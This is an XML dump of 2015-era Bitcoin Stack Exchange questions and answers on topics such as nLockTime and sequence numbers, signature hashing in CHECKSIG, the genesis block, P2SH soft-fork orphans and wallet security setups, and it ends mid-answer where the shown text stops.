  <row Id="40709" PostTypeId="2" ParentId="40706" CreationDate="2015-09-30T04:48:47.203" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot; rel=&quot;nofollow noreferrer&quot;&gt;From Bitcoin.org&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Locktime allows signers to create time-locked transactions which will only become valid in the future, giving the signers a chance to change their minds.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Previous versions of Bitcoin Core provided a feature which prevented transaction signers from using the method described above to cancel a time-locked transaction, but a necessary part of this feature was disabled to prevent denial of service attacks. A legacy of this system are four-byte sequence numbers in every input. &lt;strong&gt;Sequence numbers were meant to allow multiple signers to agree to update a transaction; when they finished updating the transaction&lt;/strong&gt;, they could agree to set every input’s sequence number to the four-byte unsigned maximum (0xffffffff), allowing the transaction to be added to a block even if its time lock had not expired.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Even today, setting all sequence numbers to 0xffffffff (the default in Bitcoin Core) can still disable the time lock, so &lt;strong&gt;if you want to use locktime, at least one input must have a sequence number below the maximum Since sequence numbers are not used by the network for any other purpose, setting any sequence number to zero is sufficient to enable locktime&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it's essentially that nLockTime is disabled if the sequence value is &lt;code&gt;0xffffffff&lt;/code&gt;, but for &lt;code&gt;0 &amp;lt;= sequence_value &amp;lt; 0xffffffff&lt;/code&gt;, nTimeLock is enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO the confusion is arising because there's conflation of the functionality of &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; (BIP65) and &lt;em&gt;nTimeLock&lt;/em&gt;. I was &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38444/bip65-replacing-ntimelock-entirely&quot;&gt;similarly confused&lt;/a&gt;, so check out &lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot; rel=&quot;nofollow noreferrer&quot;&gt;these Bitcoin.org definitions&lt;/a&gt; and &lt;a href=&quot;http://earlfox.blogspot.com/2014/06/nlocktime-may-disappoint-you.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;nTimeLock may disappoint you&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-09-30T04:48:47.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40711" PostTypeId="2" ParentId="40684" CreationDate="2015-09-30T11:51:27.210" Score="1" Body="&lt;p&gt;Under the hood,  Bitcoin has something called &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#JSON-RPC_API&quot; rel=&quot;nofollow&quot;&gt;json-rpc&lt;/a&gt;.  That is used within the software and with other software that you wish to integrate into bitcoin to send and receive payments, to generate wallet addresses, and to get network data.  Bitcoin Core and any other software that stores a full copy of the blockchain (spv wallets like multi-bit, mycelium, and the android bitcoin wallet are light weight and &lt;strong&gt;do not&lt;/strong&gt; put 60GB of blockchain transaction data on your phone).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They talk to each other through port 8333 and bitcoin transactions are sent to each other, broadcasted.  If you had custom software on your computer where bitcoin core was running, you could program a script to have your application talk to bitcoin to first get inputs, then create a raw transaction, sign the transaction with the private key that holds spendable inputs, then to broadcast it. Looking at the process we see that sign transaction returns a Json array with the hex-encoded signed data, and a result code (most Bitcoin Op_Code script returns either 0 or 1 at the protocol level to signify failure (0) or success (1).  Then the software sends the data (broadcasts it) to connected peers through port 8333 with that signed hex value.   The protocol then returns either a transaction ID or an error, again as a Json object.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2015-09-30T11:51:27.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40712" PostTypeId="1" AcceptedAnswerId="40731" CreationDate="2015-09-30T14:52:10.613" Score="6" ViewCount="4177" Body="&lt;p&gt;What is the genesis block? In which ways is it important or different from other blocks?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-10-01T17:01:17.273" Title="What is the genesis block?" Tags="|blockchain|block|genesis-block|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40713" PostTypeId="1" CreationDate="2015-09-30T15:03:54.940" Score="5" ViewCount="1590" Body="&lt;p&gt;I want to create a multi-sig wallet which I can broadcast transactions through an API. I would like a wallet with a permanent public address not one that changes every time I run the code. I was going to use Blocktrail but some of their API features are broken. Does anyone know any other good API`s? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some context as to what I want to do: automate the sending of coins to certain addresses at a certain time each week. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="27624" LastEditorUserId="26873" LastEditDate="2016-10-12T01:14:10.190" LastActivityDate="2016-10-12T01:14:10.190" Title="Best Python API for sending Bitcoins from a Multi-Sig wallet" Tags="|transactions|api|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40714" PostTypeId="1" CreationDate="2015-09-30T16:34:43.683" Score="3" ViewCount="1323" Body="&lt;p&gt;I have been using the Bitcoin Wiki to know more about the CHECKSIG, and &lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;nofollow&quot;&gt;the graphic which is shown there&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question will be rather long, but it would already help me a lot if you could just read my description and just let me know if I am correct or wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is regarding how to calculate the hash (from the serialized transaction) which is then signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally the way I understand it, we first create a new raw transaction with input and outputs with pubKeyScripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to create the signature, we copy the pubKeyScript from the transaction we are spending into the SigScript at the input of our new transaction. Then we serialize the new transaction, appending to the string the hashType (SIGHASH_ALL/SIGHASH_NONE, etc.) and then create the signature for that string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we clear the SigScript and put the public key and signature into the SigScript and have a signed transaction. When the bitcoin network validates the transaction it will create the serialized transaction string in a smiliar manner and check that the signature delivered in the SigScript of the new transaction is for the calculated string (and from the correct private key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all is this correct? And if so, why is the pubKeyScript of the transaction we are spending used when calculating the serialized string of the new transaction we want to sign? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new transaction is already referncing the ID of the spending transaction in the input of the new one. Therefore I cannot see why it is useful to also temporary copy the pubKeyScript of the spending transaction into the SigScript of the new transaction to make the signature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, I was trying to look in the source code from Bitcoin to find out what happens. I am not a programmer, escpecially not in C++. But I found out that the signature is checked here:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/48efbdbe986355bd2478f0fdd366b20952fbf30a/src/script/interpreter.cpp#L847&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/48efbdbe986355bd2478f0fdd366b20952fbf30a/src/script/interpreter.cpp#L847&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The referehnce to &quot;scriptCode&quot; in line 838, which is used as argument to checker.CheckSig() seems to contain only the pubKeyScript from the transaction being spend (without input, outputs, etc. from the new transaction?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not able to find out where exactly in the source code the function checker.CheckSig() is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But does checker.CheckSig calculate the serialized transaction as I have described above by adding the scriptCode into the SigScript and serialize it? If so do you know where in the source code that happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can give me some inputs to it. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="29432" LastEditorUserId="24925" LastEditDate="2015-09-30T17:17:45.023" LastActivityDate="2015-12-18T16:14:03.647" Title="CHECKSIG description from the wiki" Tags="|transactions|script|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40715" PostTypeId="2" ParentId="40712" CreationDate="2015-09-30T17:57:08.930" Score="1" Body="&lt;p&gt;The genesis block is the first block in a blockchain.  Every blockchain based crypto currency must have a blockchain, which is the ledger for the currency.  For example, Litecoin has it's own genesis block which is completely different than the Bitcoin genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every block in a blockchain has a parent block, except the genesis block which has no parent block.&lt;/p&gt;&#xA;" OwnerUserId="6888" LastActivityDate="2015-09-30T17:57:08.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40716" PostTypeId="1" CreationDate="2015-09-30T18:08:44.023" Score="-4" ViewCount="490" Body="&lt;p&gt;A conflicting transaction has been detected in our memory pool. The transaction hash displayed below may change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/9475b7f376ad9e843149c91cf207573f5150a739596432b65962f9ff4fd3ab0b&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/9475b7f376ad9e843149c91cf207573f5150a739596432b65962f9ff4fd3ab0b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do; I cant withdraw that transaction!!!!!!&lt;/p&gt;&#xA;" OwnerUserId="29660" LastEditorUserId="2306" LastEditDate="2015-09-30T19:48:07.483" LastActivityDate="2015-09-30T19:48:07.483" Title="Conflicting transaction in memory pool" Tags="|client|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40717" PostTypeId="1" CreationDate="2015-09-30T18:28:17.390" Score="2" ViewCount="1611" Body="&lt;p&gt;How can I know the time it takes to generate an X letters vanity address given an Y hash rate / cpu power ? Is there any online calculator for this ? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-09-30T18:28:17.390" Title="Vanity address time caclculator" Tags="|vanity-address|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40718" PostTypeId="2" ParentId="40716" CreationDate="2015-09-30T18:36:47.893" Score="1" Body="&lt;p&gt;Looks like the transaction was confirmed with a different txid here:&#xA;&lt;a href=&quot;https://blockchain.info/tx/d69fc595f15bb4680025f794ede1c863551c485fab478ea2dcc0a1da36d4e6fd?show_adv=true&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/d69fc595f15bb4680025f794ede1c863551c485fab478ea2dcc0a1da36d4e6fd?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2015-09-30T18:36:47.893" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="40719" PostTypeId="2" ParentId="40713" CreationDate="2015-09-30T18:40:16.793" Score="1" Body="&lt;p&gt;Maybe pyCoin can be useful for your purpose?&#xA;&lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/master/COMMAND-LINE-TOOLS.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin/blob/master/COMMAND-LINE-TOOLS.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2015-09-30T18:40:16.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40720" PostTypeId="1" CreationDate="2015-09-30T21:38:26.313" Score="1" ViewCount="206" Body="&lt;p&gt;I would like to try trading with bitcoin, but I am new at trading so I am asking for advise which market pick to get started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what do I require: &#xA;fast market with lot of trades&#xA;no need of huge money input&#xA;reliable bitcoin market&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know where to start. this will be my bachelor's paper, I am good at math but have no clue how to get started in bitcoin :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you &lt;/p&gt;&#xA;" OwnerUserId="27862" LastEditorUserId="27862" LastEditDate="2015-10-04T08:16:05.443" LastActivityDate="2021-04-04T23:07:59.750" Title="what is good starter for trading with bitcoin" Tags="|trading|stocks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40721" PostTypeId="1" CreationDate="2015-10-01T02:14:05.327" Score="5" ViewCount="1449" Body="&lt;p&gt;I'm looking at the blockchain.info API and I'm having a difficult time finding the value of incoming transactions. That and the number of incoming transactions are the only things I'm interested in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example here: &lt;a href=&quot;https://blockchain.info/rawaddr/15wsV4TYvGPrJnhoyCed6kWcNUuSo5ykRi&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/rawaddr/15wsV4TYvGPrJnhoyCed6kWcNUuSo5ykRi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or here: &lt;a href=&quot;https://blockexplorer.com/api/txs/?address=15wsV4TYvGPrJnhoyCed6kWcNUuSo5ykRi&quot; rel=&quot;noreferrer&quot;&gt;https://blockexplorer.com/api/txs/?address=15wsV4TYvGPrJnhoyCed6kWcNUuSo5ykRi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lists both incoming and ougoing transactions, and with transactions with several inputs, they are all listed individually. So I can't just have a script search for &quot;value&quot; which was my first idea. Is there a better way to do it?&lt;/p&gt;&#xA;" OwnerUserId="29668" LastActivityDate="2016-05-30T01:26:03.310" Title="How to get value of incoming transactions from Blockchain.info API" Tags="|api|blockchain.info|blockexplorer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40723" PostTypeId="1" CreationDate="2015-10-01T05:08:16.110" Score="1" ViewCount="97" Body="&lt;p&gt;I want to make a web app that accepts and uses Bitcoin, complete with user accounts, bitcoin storage per user, etc.  How would I go about hooking this up using MEAN?  Is there a reference for setting up a bitcoin user account database RDBMS model or a SQL/noSQL reference that you can suggest?&lt;/p&gt;&#xA;" OwnerUserId="29672" LastEditorUserId="29672" LastEditDate="2015-10-02T05:46:54.763" LastActivityDate="2015-10-02T05:46:54.763" Title="Using Bitcoin with MEAN stack" Tags="|database|website-integration|user-data|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40725" PostTypeId="1" CreationDate="2015-10-01T09:25:38.267" Score="2" ViewCount="504" Body="&lt;p&gt;I hope this is the right place to ask a question on how does block-chain help this theoretical requirement. I have also asked this &lt;a href=&quot;https://stackoverflow.com/q/32879696/919480&quot;&gt;question on SO&lt;/a&gt;; so far, no response. And, &lt;a href=&quot;http://area51.stackexchange.com/proposals/89704/ethereum&quot;&gt;Ethereum SE is still in Area 51&lt;/a&gt; at the time of writing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If cross-posting is a violation of forum protocol, please let me know. I will delete from the other site and leave this as is.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here goes ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to understand &lt;a href=&quot;https://en.wikipedia.org/wiki/Smart_contract&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Contracts&lt;/a&gt; through an anti-virus service idea. I hope, it matches the idea as expected of Smart Contract and Blockchain 2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose, I have received a 25 MB file from some one through some media. I would like to have it scanned for virus before I actually open it for use. How can I be sure that it is not infected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Traditional Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is a cloud based service provided for virus scan - Virus Scanning as a Service (VSaaS). This provider has subscription plans based on file type, volume and frequency of scans. I could approach this provider to scan my file and receive a binary response as TRUE (clean) or FALSE (infected). But, I have no choice but to trust two things of the provider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Did the provider scan at all? Or, more generally, was 'work' done at all? Maybe, there is a tiny script to return TRUE and FALSE with 50% probability regardless of how many and what type of files are sent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Was the provider's scan conclusive? Maybe, the provider does not have all of the virus signatures to scan successfully. So, the provider may respond with TRUE (clean) whereas, it is actually infected with the latest strain of a virus.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Smart Contract&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a distributed application (or, Smart Contract) resolve this problem? I know that the underlying blockchain provides a publicly available ledger that can verify:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I have sufficient coins (say, BTC) to cover the scan service&#xA;request.&lt;/li&gt;&#xA;&lt;li&gt;If a scan request (the transaction in this case) was made, to whom, when, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I want to know is, the mechanism to confirm that a virus scan did actually happen in its entirety? Should multiple 'full nodes' do a virus scan of the same file? If so, am I now not spreading my ambiguity across multiple full nodes - in effect, different cloud providers in a conventional way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would an Ethereum platform address this requirement?&lt;/p&gt;&#xA;" OwnerUserId="6975" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-10-01T09:25:38.267" Title="blockchain - Anti-virus service" Tags="|blockchain|ethereum|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40727" PostTypeId="1" CreationDate="2015-10-01T14:45:43.517" Score="2" ViewCount="1194" Body="&lt;p&gt;I made a double payment to the same address mistakenly since my internet was a bit slow, and one payment has 8 confirmations. The recipient says he hasn't received it. I got this message from the transaction: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A conflicting transaction has been detected in our memory pool. The transaction hash displayed below may change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What can I do to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="29677" LastEditorUserId="18227" LastEditDate="2015-10-01T15:56:02.877" LastActivityDate="2016-03-30T19:21:01.333" Title="How do I resolve an accidental double spend?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40728" PostTypeId="2" ParentId="40727" CreationDate="2015-10-01T15:58:47.097" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The recipient says he hasn't received it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Show him this transaction on any blockexplorer site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. on blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/40716/conflicting-transaction-in-memory-pool&quot;&gt;Conflicting transaction in memory pool&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-10-01T15:58:47.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40729" PostTypeId="2" ParentId="40714" CreationDate="2015-10-01T16:35:09.953" Score="3" Body="&lt;p&gt;The purpose of signatures is to 'capture' some data about the transaction - it's outputs, and so on. Signers have control over some of it, using SIGHASH flags, but some of it is enforced by the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that anyone verifying your signatures needs to know what you're asserting in your signature, and how to reproduce the same hash for ECDSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When producing the signature, and verifying one, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/48efbdbe986355bd2478f0fdd366b20952fbf30a/src/script/interpreter.cpp#L1078&quot; rel=&quot;nofollow&quot;&gt;SignatureHash()&lt;/a&gt; is called on every input, because each input has it's own signatures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each input, the transaction reserialized with a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/48efbdbe986355bd2478f0fdd366b20952fbf30a/src/script/interpreter.cpp#L985&quot; rel=&quot;nofollow&quot;&gt;CTransactionSignatureSerializer&lt;/a&gt; which makes the input-specific modifications to the transaction. It will null inputs/outputs given some SIGHASH flags, and also requires that the scriptPubKey of the previous transaction is included. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you were enquiring partly about this. The reason for capturing this through a hash is it means the signature can't be used on other transactions. A signature is only valid for a given &lt;em&gt;input&lt;/em&gt;, and all the requirements of &lt;em&gt;its&lt;/em&gt; scriptPubKey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, you will find that services which verify signatures need to have the scriptPubKey of the transaction being signed for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Actually, more specifically, what is included as the script while signing is any script starting from the last OP_CODESEPARATOR, or from the beginning of the output script. So if the script contains OP_CODESEPARATOR, only a part of the output script is signed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One point where you appear confused is this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then we clear the SigScript and put the public key and signature into the SigScript and have a signed transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;not&lt;/em&gt; correct - the serialized form is forgotten once the hash is produced. Signatures are put into different transaction instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checker.CheckSig() &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/48efbdbe986355bd2478f0fdd366b20952fbf30a/src/script/interpreter.cpp#L1108&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt; - Note that it calls the &lt;code&gt;SignatureHash()&lt;/code&gt; to produce the hash, and then &lt;code&gt;VerifySignature()&lt;/code&gt; calls &lt;code&gt;pubkey.Verify(sighash, vchSig)&lt;/code&gt; which is the actual call to ECDSA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, most of what you're looking for verification-wise is at the bottom of interpreter.cpp, but also check out interpreter.h for the interfaces.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2015-12-18T16:14:03.647" LastActivityDate="2015-12-18T16:14:03.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40730" PostTypeId="2" ParentId="9678" CreationDate="2015-10-01T16:54:24.990" Score="6" Body="&lt;p&gt;I recall some of these transactions and researched them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2SH was introduced as a soft-fork, meaning old nodes technically didn't have to upgrade - the soft fork could be carried out by a hashrate majority of miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_HASH160 [20 byte hash] OP_EQUAL&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the P2SH scriptPubKey. Before the soft-fork, it meant that anyone that knew the value that hashed to &lt;code&gt;[20 byte hash]&lt;/code&gt; could spend the coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick note on hashrate-majority enforced soft-forks. These are normally invisible to clients unaware of them. The reason is, these soft-forks usually only forbid certain things from happening, rather than allow something new and unexpected to happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2SH is one of these types, because it added further rules to the above snippet of Bitcoin Script. The rule is, if the value hashes to &lt;code&gt;[20 byte hash]&lt;/code&gt;, &lt;em&gt;then assume it is a string of bitcoin script and verify it&lt;/em&gt;. All this does is prevent some spend attempts from entering the blockchain - they might fail P2SH validation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an old version's point of view, if something you allow never happens again, there is no rule violation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why was this block 'mined' 94 times? Well, partially because Blockchain.info uses confusing terminology. They received 94 blocks including this transaction. It's just a pity they were all orphaned!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an unfortunate case where the hashrate-majority soft-fork actually caused problems for someone. That someone was in the minority running v0.6, and kept running the older software version (or they forgot to upgrade). Their software a transaction with a valid pre-image for [20 byte hash], and accepted it into the mempool. It then tried to mine it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority, however, had just accepted a rule where such transactions are exposed to additional validation, and deemed this transaction invalid, so they refused to build on top of these blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding P2SH addresses, they are very useful these days. You can request someone to fund a complicated script (like multisig, or a Lightning channel) using a fixed-size address! &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-10-01T16:54:24.990" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="40731" PostTypeId="2" ParentId="40712" CreationDate="2015-10-01T17:01:17.273" Score="4" Body="&lt;p&gt;It is important, because it is used to seed the block and chain databases before syncing can occur (you need a block to build on). It's the root of the tree of blocks, forks, and ultimately the chain tips that represent the chains your software is tracking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is imported differently to others, as it's coinbase transaction is not included in the UTXO set (it's unavailable to be spent)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the genesis block is a way to definitively fork yourself away from the bitcoin blockchain, ie, start a new network with it's own separate history.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, some coins do share a common genesis block (Fluttercoin IIRC, shares Litecoins for whatever reason), but the network is forked by the use of checkpoints (genesis might be the same, but block 1 is checkpointed to Fluttercoins, instead of Litecoins).&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-10-01T17:01:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40732" PostTypeId="1" CreationDate="2015-10-01T17:56:18.983" Score="2" ViewCount="654" Body="&lt;p&gt;I’ve seen articles lately that many large banks including, HSBC, Deutsche Bank, Citigroup, and Bank of America are exploring the use of Blockchain. Knowing these banks, they would surely love to use their own currency instead of bitcoin. Given this, could Blockchain used for a different currency, leaving bitcoin behind?&lt;/p&gt;&#xA;" OwnerUserId="27976" LastActivityDate="2015-12-08T12:20:30.080" Title="Could Blockchain be used for a different currency, leaving bitcoin behind?" Tags="|blockchain|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="40733" PostTypeId="2" ParentId="40564" CreationDate="2015-10-01T17:57:30.763" Score="0" Body="&lt;p&gt;Most large services use a split wallet system where the money is divided into a small &quot;hot&quot; wallet which does day to day activity, and a &quot;cold&quot; wallet which stores the bulk of the money offline and behind physical security. A cold wallet can be both physically protected, and have divided spending responsibility between multiple parties to avoid internal theft. This has the advantage of minimizing losses if the hot wallet is compromised, but will delay extremely high amounts of rates of withdraws as there is a human element (possibly several) in the chain. There is a trade off with the amount of money you have in which side of the split, more in the hot wallet has a higher risk of internet directed thefts, but higher convenience. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most companies don't disclose how they make their keys, but one can assume they are hardened BIP32 child keys, or individually produced Bitcoin addresses made on a dedicated system. Usually in this sort of setup everybody will use the standard RNG &lt;code&gt;/dev/urandom&lt;/code&gt; which is a cryptographically secure random number generator designed explicitly for this task. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-10-01T17:57:30.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40734" PostTypeId="1" CreationDate="2015-10-02T10:48:39.763" Score="2" ViewCount="772" Body="&lt;p&gt;Say for example an encrypted wallet has 5000 addresses already pre-generated in the keypool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can &lt;code&gt;getnewaddress&lt;/code&gt; be called via RPC command without knowing the actual wallet password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I envisage a shopping cart script which calls &lt;code&gt;getnewaddress&lt;/code&gt; to provide a customer with an address to spend to. The shopping cart would know the RPC password, but not the wallet password. The shopping cart never needs to &lt;em&gt;spend&lt;/em&gt; funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the shopping cart was hacked, can bitcoin be stolen?&lt;/p&gt;&#xA;" OwnerUserId="29688" LastEditorUserId="5406" LastEditDate="2015-10-09T12:13:18.113" LastActivityDate="2019-07-26T16:50:26.020" Title="getnewaddress (RPC) on encrypted bitcoin wallet without wallet password?" Tags="|security|json-rpc|bip32-hd-wallets|website-integration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40735" PostTypeId="2" ParentId="40389" CreationDate="2015-10-02T12:41:24.683" Score="4" Body="&lt;p&gt;I'll answer the middle question from the &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/White-Paper&quot; rel=&quot;nofollow&quot;&gt;White Paper&lt;/a&gt;. Bitcoin can allow simple scripting and a weak version of smart contracts. The scripting that you can do has these limitations (quoting from the white paper, where UTXO means &quot;unspent transaction outputs&quot;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Lack of &lt;a href=&quot;https://en.wikipedia.org/wiki/Turing_completeness&quot; rel=&quot;nofollow&quot;&gt;Turing-completeness&lt;/a&gt;&lt;/strong&gt; - that is to say, while there is a large subset of computation that the Bitcoin scripting language&#xA;  supports, it does not nearly support everything. The main category&#xA;  that is missing is loops. This is done to avoid infinite loops during&#xA;  transaction verification; theoretically it is a surmountable obstacle&#xA;  for script programmers, since any loop can be 